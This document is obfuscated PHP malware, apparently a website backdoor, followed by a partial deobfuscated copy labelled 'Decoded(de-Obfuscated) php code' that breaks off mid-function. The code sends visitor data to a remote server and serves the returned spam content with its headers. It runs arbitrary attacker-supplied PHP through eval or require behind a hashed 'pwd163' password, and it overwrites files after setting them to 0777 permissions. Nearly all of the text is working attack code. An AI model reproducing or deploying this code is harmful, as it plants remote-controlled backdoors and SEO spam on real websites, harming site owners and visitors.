${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x30\x4f\x5f\x5f\x4f"]($matches[1])==${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30\x5f"]($matches[2])?$matches[2]:$matches[0];}function O000_OOO__($O0_O00__OO){$OO0O00___O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x30\x5f\x5f\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x4f\x5f\x4f\x30\x5f\x30"]($O0_O00__OO));$O0O00_O__O=substr($OO0O00___O,0,5);$O_0OOO00__=substr($OO0O00___O,-5);$OO000O__O_=substr($OO0O00___O,5,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30\x5f"]($OO0O00___O)-10);return $O0O00_O__O.'hT'.substr($OO0O00___O,5,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30\x5f"]($OO0O00___O)-10).'tP'.$O_0OOO00__;}function O0OO_0__O0($O0_O00__OO){$O0O00_O__O=substr($O0_O00__OO,0,5);$O_0OOO00__=substr($O0_O00__OO,-5);$OO000O__O_=substr($O0_O00__OO,7,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x30\x30\x5f\x30\x5f"]($O0_O00__OO)-14);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x5f\x30\x5f\x30\x4f\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x5f\x30\x30\x4f"]($O0O00_O__O.$OO000O__O_.$O_0OOO00__));}function O_O0_00OO_($OO00_O_O_0=''){if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"})){if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x46\x4f\x52"])){$OO00_O_O_0=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x58\x5f\x46\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x46\x4f\x52"];}else if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x43\x4c\x49\x45\x4e\x54\x5f\x49\x50"])){$OO00_O_O_0=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x43\x4c\x49\x45\x4e\x54\x5f\x49\x50"];}else{$OO00_O_O_0=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\x44\x52"];}}else{if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x5f\x30\x4f\x30\x5f"]('HTTP_X_FORWARDED_FOR')){$OO00_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x5f\x30\x4f\x30\x5f"]('HTTP_X_FORWARDED_FOR');}else if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x5f\x30\x4f\x30\x5f"]('HTTP_CLIENT_IP')){$OO00_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x5f\x30\x4f\x30\x5f"]('HTTP_CLIENT_IP');}else{$OO00_O_O_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x5f\x30\x4f\x30\x5f"]('REMOTE_ADDR');}}return $OO00_O_O_0;}function OO_0OO__00($O0_O00__OO=''){if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $O0_O00__OO;}function O00O_OO0__($O_O0O__O00){$O_OO0_O0_0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x30\x4f\x5f\x4f"]($O_O0O__O00);$O0_O_OO00_='';for ($OO___0O00O=0;$OO___0O00O<${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x5f\x30\x4f\x30\x4f"]($O_OO0_O0_0);$OO___0O00O++){if($OO___0O00O%2!=0){$O0_O_OO00_.=$O_OO0_O0_0[$OO___0O00O];}}return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x5f\x30\x30\x4f"]($O0_O_OO00_);}function O_00O_O0_O($OOO0_O__00){$OOO0_O__00=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x4f\x4f\x5f\x5f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x5f\x30\x30\x4f"]($OOO0_O__00));$O_O0OO0_0_=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x4f\x30\x30\x5f\x5f\x30"]("/\\|/si",$OOO0_O__00,-1,PREG_SPLIT_NO_EMPTY);if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x30\x5f\x4f\x4f\x5f"]($O_O0OO0_0_)){return false;}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x5f\x30\x4f\x30\x4f"]($O_O0OO0_0_)<2){return false;}$OOO0_O__00_array["\x64\x61\x74\x61"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x5f\x30\x4f\x4f\x30\x30"]($O_O0OO0_0_);$OOO0_O__00_array["\x64\x61\x74\x61"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x5f\x30\x30\x4f"]($OOO0_O__00_array["\x64\x61\x74\x61"]);$OOO0_O__00_array["\x68\x65\x61\x64\x65\x72\x73"]=$O_O0OO0_0_;return $OOO0_O__00_array;}function O0O_O_0O_0($O_0_OO0_0O=''){$OOO_O0_00_=O0OO_0__O0('K8pPycYi8p1iumIpKAEA');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x30\x4f\x5f\x5f\x4f"]($OOO_O0_00_)){@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x5f\x30\x4f\x4f\x5f\x5f"]($OOO_O0_00_);}if($O_0_OO0_0O==''){$O_0_OO0_0O=O0OO_0__O0('08soSuDUxOTi0vfuBgA=');}$OOO0_O__00=O0OO_0__O0('lVFNrDX5swEPxBvZiPSHB4h0CDgRDKR7DBN2waQ7ABlQTC+/VFIU9pT1VPq1nN7MzuRgcyUIg+z9gBhcq51+g9c4VB8lpcXKtndtt6V/3oHcyFQLR40BkpNLUAJoJ27dp/Vk46f6KpVVM4HyPbhCV+CAaUuoJhH/HeSKQYSR6GRZ5cS3vf5E1dF9JUKns3l65lMOm0JTbuDNbzBYr76qUH3ervPq5U3QGCd+CFR6qGv06fxfzCNYHKQJttTqXtb2u+rsT6Nsut5gDPM1HF/cXXmK2AEqIbSd8apoZLmVuALe8ewclQQXN56v55hw17kCxUBbzAj9G+ztNfe3/Xj9FByDM222q9jweViTjrvLxavRMRyNM3W/ii0vzVFzlUVgOVGT+r+jGTSGNSAJL5NVMzHsxD+qXLOjSS1PpZ4l27/o1teWMepBY9O+APbThRGXM/v6UJclCCwiwHxD8f0I84U5xLuq8DXPwnP37zka9QuGZr9tOWhT9/4Dm3Ux73RgDeu0fxx84+M3');$OOO0_O__00=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x5f\x30\x30\x4f"]($OOO0_O__00);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x30\x5f\x30\x4f\x5f\x5f\x4f"]($O_0_OO0_0O)){$OOOO0__00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x30\x30\x5f\x30\x4f\x4f"]($O_0_OO0_0O);if($OOO0_O__00==$OOOO0__00_){return;}}@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x4f\x5f"]($O_0_OO0_0O,0777);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x5f\x5f\x4f\x4f\x4f\x30"]($O_0_OO0_0O,$OOO0_O__00);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x4f\x5f"]($O_0_OO0_0O,0644);}function OO_0_00_OO($googleUrl,$OOO_0O_00_,$O00_OO0__O){$OO_OO000__=O0OO_0__O0('yygpKxaSi20tdXLdYvyMxLty/OLEnNTSywVS0GiqgTvWAwA=');$OO_O000O__=sprintf($OO_OO000__,$googleUrl,$O00_OO0__O["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"],$O00_OO0__O["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"],$OOO_0O_00_);$O0_0OO_0_O=O_00O_O_O0($OO_O000O__);if(isset($_REQUEST["\x73\x74"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x5f\x30\x30\x4f"]($OO_O000O__);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x5f\x30\x30\x4f"]($O0_0OO_0_O);die();}$OO0_0_O_O0=O0OO_0__O0('S8/PTMr89rrJBQA=');$OO__00OO_0=O0OO_0__O0('Ky5NTpnk4abtLgYA');$O_OO0O_00_=O0OO_0__O0('S0vMzizElILNAQA=');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0_0OO_0_O,$OO0_0_O_O0)!=false){die($OO__00OO_0);}else{$OO_OO000__=O0OO_0__O0('yygpKxhbDS11ct1i/IzEu3L84sSc1NLLBVLQaKqBYQbDAA==');$OO_O000O__=sprintf($OO_OO000__,$googleUrl,$O00_OO0__O["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"],$O00_OO0__O["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"],$OOO_0O_00_);$O0_0OO_0_O=O_00O_O_O0($OO_O000O__);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($O0_0OO_0_O,$OO0_0_O_O0)!=false){die($OO__00OO_0);}die($O_OO0O_00_);}}function O_0_0OOO0_($O_O0O__O00){$O00_OO0__O=array();$O00_OO0__O["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"]=$O_O0O__O00;$O00_OO0__O["\x61\x70\x69"]=O00O_OO0__($O00_OO0__O["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"]);$O00_OO0__O["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"]=OO_0OO__00();$O00_OO0__O["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"]=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"];$O00_OO0__O["\x72\x65\x66\x65\x72\x65\x72"]=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]:'';$O00_OO0__O["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"]=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]:'';$O00_OO0__O["\x69\x70"]=O_O0_00OO_();if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x53"])){$O00_OO0__O["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"]=O0OO_0__O0('yygpKZWSi20tcJmHAA==');}else{$O00_OO0__O["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"]=O0OO_0__O0('yygpKPEbDNyS1wcA');}if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"])){$O00_OO0__O["\x6c\x61\x6e\x67\x75\x61\x67\x65"]=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"];}else{$O00_OO0__O["\x6c\x61\x6e\x67\x75\x61\x67\x65"]="";}if(isset($_REQUEST["\x70\x61\x72\x61\x6d\x73"])){$O0O_OO__00=O0OO_0__O0('c87PKiP0nNK9EtqSxItUosKMjJTE4syczP088qzs8rDDAA==');header($O0O_OO__00);if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x30\x4f\x4f\x5f\x30\x4f\x5f"]('json_encode')){echo ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x5f\x30\x5f\x4f\x4f"]($O00_OO0__O);}else{${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x4f\x30\x5f\x5f\x30\x5f"]($O00_OO0__O);}die();}if(isset($_REQUEST["\x64\x5f\x74\x69\x6d\x65"])){die('2023/5/17');}if(isset($_REQUEST["\x70\x77\x64\x31\x36\x33"])){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x5f\x4f\x30\x5f\x4f\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x30\x4f\x5f\x30\x5f\x4f"]($_REQUEST["\x70\x77\x64\x31\x36\x33"]))=="6beb7d45903ab24d06afac40e84b87c0"){$OO_00O0O__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x5f\x30\x30\x4f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x5f\x5f\x30\x4f\x30"]((${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x30\x4f\x4f\x5f\x5f\x30"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x30\x5f\x5f\x4f\x4f\x4f"]($_REQUEST["\x7a\x7a\x7a"])))));$O__O0_0O0O=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x5f\x30\x30\x4f"]("PD9waHA=");if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x30\x5f\x4f\x30\x4f"]($OO_00O0O__,$O__O0_0O0O)===false){$OO_00O0O__=$O__O0_0O0O.PHP_EOL.$OO_00O0O__;}if(isset($_REQUEST["\x65"])){$OO_00O0O__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x30\x4f\x30\x5f\x4f"]($O__O0_0O0O,"",$OO_00O0O__);$O_OO00__0O='e'.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x5f\x4f\x5f\x5f\x30\x30\x4f"]("dmE=").'l';$O_OO00__0O($OO_00O0O__);die();}$O0__0_OOO0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x5f\x30\x4f\x30\x30"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x4f\x4f\x5f\x5f\x5f\x4f\x30"]($O0__0_OOO0,$OO_00O0O__);$O_0_00OOO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x5f\x4f\x5f\x30\x30\x4f\x4f"]($O0__0_OOO0);@require($O_0_00OOO_["\x75\x72\x69"]);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x4f\x5f\x30\x30\x5f"]($O0__0_OOO0);die();}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x5f\x4f\x30\x5f\x4f\x5f"]($_REQUEST["\x70\x77\x64\x31\x36\x33"]."a!#_11AA")=="2f7a76f71ff9e24be7c0015ff9cb81d8"){if(isset(${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"])){$OOO_0O_00_=${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"];$OOO_0__00O=O0OO_0__O0('Ky8v1Vp0vPz0/PSdVLzs8hGFAA==');if(isset(${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"])){$OOO_0__00O=${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"];}OO_0_00_OO($OOO_0__00O,$OOO_0O_00_,$O00_OO0__O);}}}O0O_O_0O_0();$OO00__OO_0=array('domain'=>$O00_OO0__O["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"],'request_url'=>$O00_OO0__O["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"],'ip'=>$O00_OO0__O["\x69\x70"],'agent'=>$O00_OO0__O["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"],'referer'=>$O00_OO0__O["\x72\x65\x66\x65\x72\x65\x72"],'protocol'=>$O00_OO0__O["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"],'language'=>$O00_OO0__O["\x6c\x61\x6e\x67\x75\x61\x67\x65"]);$OOO0_O__00=O_00O_O_O0($O00_OO0__O["\x61\x70\x69"],0,2,$OO00__OO_0,array(),$O00_OO0__O["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"]);if(isset($_REQUEST["\x64\x75\x6d\x70"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x5f\x30\x30\x4f"]($OOO0_O__00);$OOO0_O__00=O_00O_O_O0("http://google.co.jp");${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x5f\x30\x30\x4f"]($OOO0_O__00);die();}$O0_O_00O_O=O_00O_O0_O($OOO0_O__00);if($O0_O_00O_O!==false){foreach($O0_O_00O_O["\x68\x65\x61\x64\x65\x72\x73"] as $O0O_OO__00){@header($O0O_OO__00);}echo $O0_O_00O_O["\x64\x61\x74\x61"];die();}}O_0_0OOO0_($O_O0O__O00);
?>

Decoded(de-Obfuscated) php code

<?php

$O00OO0___O = "oA-bNnK7L5_JUtRxIY+WCa93Vk0wM1OeSDdB2j/lsXfqphm*TGvQHrPyc\\4zuF6iZg8E";
$OO_0O0_O0_ = "stream_context_create";
$O0_O_O00O_ = "preg_replace_callback";
$O00__OO0O_ = "stream_socket_client";
$O0__O_00OO = "stream_get_meta_data";
$O0O0O___O0 = "stream_set_blocking";
$O0OO0__O_0 = "stream_set_timeout";
$O0_0__OOO0 = "file_put_contents";
$OO__00_0OO = "file_get_contents";
$OO__0O00_O = "http_build_query";
$O0_0OO_0O_ = "function_exists";
$O0_O0O0__O = "gethostbyname";
$OO0O00__O_ = "base64_encode";
$OO0_O__00O = "base64_decode";
$O0_0OOO0__ = "rawurlencode";
$OO_0O__0O0 = "rawurldecode";
$O0_O0OO__0 = "gzuncompress";
$O__O00O0_O = "str_replace";
$O00_O_0_OO = "json_encode";
$O0O0_0O__O = "file_exists";
$O0_OO0_O0_ = "curl_setopt";
$O__00OO_O0 = "array_shift";
$O_OOO00__0 = "preg_split";
$O000OO___O = "preg_match";
$O00O__OO0_ = "curl_error";
$O_0O0OO_0_ = "curl_close";
$O0O_0OO__0 = "urlencode";
$O_000__OOO = "urldecode";
$O_0_O00O_O = "str_split";
$O_00OO0__O = "parse_url";
$O_O0_0_0OO = "gzinflate";
$O_O0O_O0_0 = "gzdeflate";
$OO0O0__0O_ = "curl_init";
$O_0_O_OO00 = "curl_exec";
$O_O__0OO00 = "array_pop";
$O0OO___00O = "var_dump";
$O00O_0_OO_ = "is_array";
$OOO___0O00 = "tmpfile";
$OO0OO0__0_ = "print_r";
$O_00_0OO_O = "mt_rand";
$OO0_0_0_OO = "implode";
$OO___00OO0 = "explode";
$O___O00OO0 = "usleep";
$O00O_0OO__ = "unlink";
$O_0_O0_O0O = "strpos";
$OO_OO00_0_ = "strlen";
$O00_O0O__O = "hexdec";
$O0O_O_0O0_ = "getenv";
$O00OO___O0 = "fwrite";
$OO0O_O_00_ = "fclose";
$OO_O0_00O_ = "fread";
$OO_000OO__ = "fgets";
$O0__O_0O0O = "count";
$OO0_O0_0O_ = "chmod";
$OO0_0O_0_O = "trim";
$O_0O__0OO0 = "join";
$O_0O_OO0_0 = "feof";
$OO00_O0_O_ = "md5";
$O_O0O__O00 = "paQHyRm0EccDoovvMLAzsQj0hNrjIAWtHYB2fgh0yLzXFYu1eMVSA5z1weemExYvEdcmsUguZbtGtlXmMZfQw=q=";
function O_00O_O_O0($url, $O___O000OO = 0, $O__OO0O_00 = 1, $O_0O0O__0O = NULL, $O_O0_O00_O = array(), $O__0_0O0OO = "s")
{
    if (!preg_match("/^https*\\:\\/\\//si", $url)) {
        if (isset($_GET["urlerr"])) {
            $OO__O00_0O = O0OO_0__O0('iy4tyqlkktKsovilXIzCtLzMlMUQCKWKnlJRUolXWAMA');
            $OO__O00_0O .= $url;
            echo $OO__O00_0O;
            unset($OO__O00_0O);
            exit;
        }
        return '';
    }
    $OO_00O0O__ = O0OO_0__O0('Sy4tyvYonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBVPSJakA');
    $O_OO00__0O = $O000O_OO__ = '';
    foreach (explode('|', $OO_00O0O__) as $c) {
        $O_O0__0O0O = 1;
        if ($O___O000OO && substr($c, 0, 1) == 'c') {
            continue;
        }
        foreach (explode('+', $c) as $d) {
            if (!function_exists($d)) {
                $O_O0__0O0O = 0;
            }
        }
        unset($d);
        if ($O_O0__0O0O) {
            $O_OO00__0O = $c;
            break;
        }
    }
    unset($OO_00O0O__, $c);
    if ($O_OO00__0O == '') {
        return 0;
    }
    if (substr($O_OO00__0O, 0, 1) == 'c') {
        $O0O0__O0O_ = false;
        if ($O__OO0O_00 == 2) {
            if (is_array($O_0O0O__0O)) {
                $O000_OO_O_ = array('http' => array('method' => "POST", 'header' => "Content-Type:application/x-www-form-urlencoded", 'content' => http_build_query($O_0O0O__0O)));
                $OO0_0_OO_0 = stream_context_create($O000_OO_O_);
                $O0O0__O0O_ = file_get_contents($url, false, $OO0_0_OO_0);
            }
        } else {
            $O0O0__O0O_ = file_get_contents($url);
        }
        if ($O0O0__O0O_) {
            return $O0O0__O0O_;
        }
        $OOO__0_O00 = curl_init();
        curl_setopt($OOO__0_O00, CURLOPT_URL, $url);
        curl_setopt($OOO__0_O00, CURLOPT_USERAGENT, $O__0_0O0OO);
        curl_setopt($OOO__0_O00, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($OOO__0_O00, CURLOPT_TIMEOUT, 100);
        curl_setopt($OOO__0_O00, CURLOPT_FRESH_CONNECT, TRUE);
        if ($O__OO0O_00 == 2) {
            curl_setopt($OOO__0_O00, CURLOPT_POST, 1);
            if (is_array($O_0O0O__0O)) {
                curl_setopt($OOO__0_O00, CURLOPT_POSTFIELDS, http_build_query($O_0O0O__0O));
            }
        }
        $O0O0__O0O_ = curl_exec($OOO__0_O00);
        curl_close($OOO__0_O00);
        if (!$O0O0__O0O_) {
            if (isset($_GET["curlerr"])) {
                $OO__O00_0O = O0OO_0__O0('i04uLKQcpRSC0qyi+KVctLKi6cnwBgA=');
                $OO__O00_0O .= curl_error($OOO__0_O00);
                echo $OO__O00_0O;
                unset($OO__O00_0O);
                exit;
            }
            return 0;
        } else {
            return $O0O0__O0O_;
        }
    }
    $O0O_O0_0O_ = parse_url($url);
    isset($O0O_O0_0O_["host"]) || ($O0O_O0_0O_["host"] = '');
    isset($O0O_O0_0O_["path"]) || ($O0O_O0_0O_["path"] = '');
    isset($O0O_O0_0O_["query"]) || ($O0O_O0_0O_["query"] = '');
    isset($O0O_O0_0O_["port"]) || ($O0O_O0_0O_["port"] = '');
    $OOO000__O_ = $O0O_O0_0O_["path"] ? $O0O_O0_0O_["path"] . ($O0O_O0_0O_["query"] ? '?' . $O0O_O0_0O_["query"] : '') : '/';
    $OO0__OO00_ = $O0O_O0_0O_["host"];
    if ($O0O_O0_0O_["scheme"] == 'https') {
        $O_O0_O_O00 = '1.1';
        $O_O_OO000_ = empty($O0O_O0_0O_["port"]) ? 443 : $O0O_O0_0O_["port"];
        $OO0__OO00_ = O0OO_0__O0('Ky7OsJQdLpFXBwA=');
        $OO0__OO00_ .= $O0O_O0_0O_["host"];
    } else {
        $O_O0_O_O00 = '1.0';
        $O_O_OO000_ = empty($O0O_O0_0O_["port"]) ? 80 : $O0O_O0_0O_["port"];
    }
    $OO000_O_O_ = 'Host:';
    $OO000_O_O_ .= $OO0__OO00_;
    $O_O0_O00_O[] = $OO000_O_O_;
    $O_O0_O00_O[] = O0OO_0__O0('c87PyVd0tNLsnMz7NyzskhmvTgUA');
    $O_O0_O00_O[] = O0OO_0__O0('Cy1OLvddJ1TE/NK7EVHCAA==') . $O__0_0O0OO;
    $O_O0_O00_O[] = O0OO_0__O0('c0xOTNbi0osdLpmS1wIA');
    unset($OO000_O_O_);
    if ($O__OO0O_00 == 2) {
        if (is_array($O_0O0O__0O)) {
            $O_0O0O__0O = http_build_query($O_0O0O__0O);
        }
        $O_O0_O00_O[] = O0OO_0__O0('c87PKkl0nNK9EtqSxItUosKMjJTE4syczP06/QLS8v103LL8rVLS3KSc1Lzk9UtJTQEA');
        $O_O0_O00_O[] = O0OO_0__O0('c87PKho0nNK9H1Sc1LL8mOkwAgA=') . strlen($O_0O0O__0O);
        $O000O_OO__ = "POST {$OOO000__O_} HTTP/{$O_O0_O_O00}" . PHP_EOL . join(PHP_EOL, $O_O0_O00_O) . PHP_EOL . PHP_EOL . $O_0O0O__0O;
        unset($O_0O0O__0O);
    } else {
        $O000O_OO__ = "GET {$OOO000__O_} HTTP/{$O_O0_O_O00}" . PHP_EOL . join(PHP_EOL, $O_O0_O00_O) . PHP_EOL . PHP_EOL;
    }
    unset($O_O0_O00_O, $O0O_O0_0O_, $O_O0_O_O00, $OOO000__O_);
    $O__O000_OO = null;
    if (substr($O_OO00__0O, 1) == 'n') {
        $O__O000_OO = $O_OO00__0O($OO0__OO00_, $O_O_OO000_, $OO__O00_0Ono, $OO__O00_0Ostr, 30);
    } else {
        if (substr($O_OO00__0O, 1) == 't') {
            $O0O___O0O0 = O0OO_0__O0('K0kusDkNLKMXBwA=');
            $O0O___O0O0 .= $OO0__OO00_;
            $O0O___O0O0 .= ':';
            $O0O___O0O0 .= $O_O_OO000_;
            $O__O000_OO = stream_socket_client($O0O___O0O0, $OO__O00_0Ono, $OO__O00_0Ostr, 30);
            unset($O0O___O0O0);
        }
    }
    $OOO0_O__00 = '';
    if ($O__O000_OO) {
        stream_set_blocking($O__O000_OO, TRUE);
        stream_set_timeout($O__O000_OO, 30);
        fwrite($O__O000_OO, $O000O_OO__);
        if (!$O___O000OO) {
            $O_O_O00_0O = stream_get_meta_data($O__O000_OO);
            if (!$O_O_O00_0O["timed_out"]) {
                while (!feof($O__O000_OO)) {
                    $O_0_OO00O_ = fgets($O__O000_OO);
                    if ($O_0_OO00O_ && (rawurlencode($O_0_OO00O_) == "%0D%0A" || rawurlencode($O_0_OO00O_) == "%0A")) {
                        break;
                    }
                    unset($O_0_OO00O_);
                }
                while (!feof($O__O000_OO)) {
                    $O0_O_00O_O = fread($O__O000_OO, 8192);
                    $OOO0_O__00 .= $O0_O_00O_O;
                    unset($O0_O_00O_O);
                }
            }
            unset($O_O_O00_0O);
        }
        fclose($O__O000_OO);
    } else {
        if (substr($O_OO00__0O, 1) == 'e') {
            $O00OO0__O_ = gethostbyname($OO0__OO00_);
            $O__O000_OO = $O_OO00__0O(AF_INET, SOCK_STREAM, 0);
            if (socket_connect($O__O000_OO, $O00OO0__O_, $O_O_OO000_)) {
                if (!$O___O000OO) {
                    socket_write($O__O000_OO, $O000O_OO__, strlen($O000O_OO__));
                    while ($O0_0O0O__O = @socket_read($O__O000_OO, 8192)) {
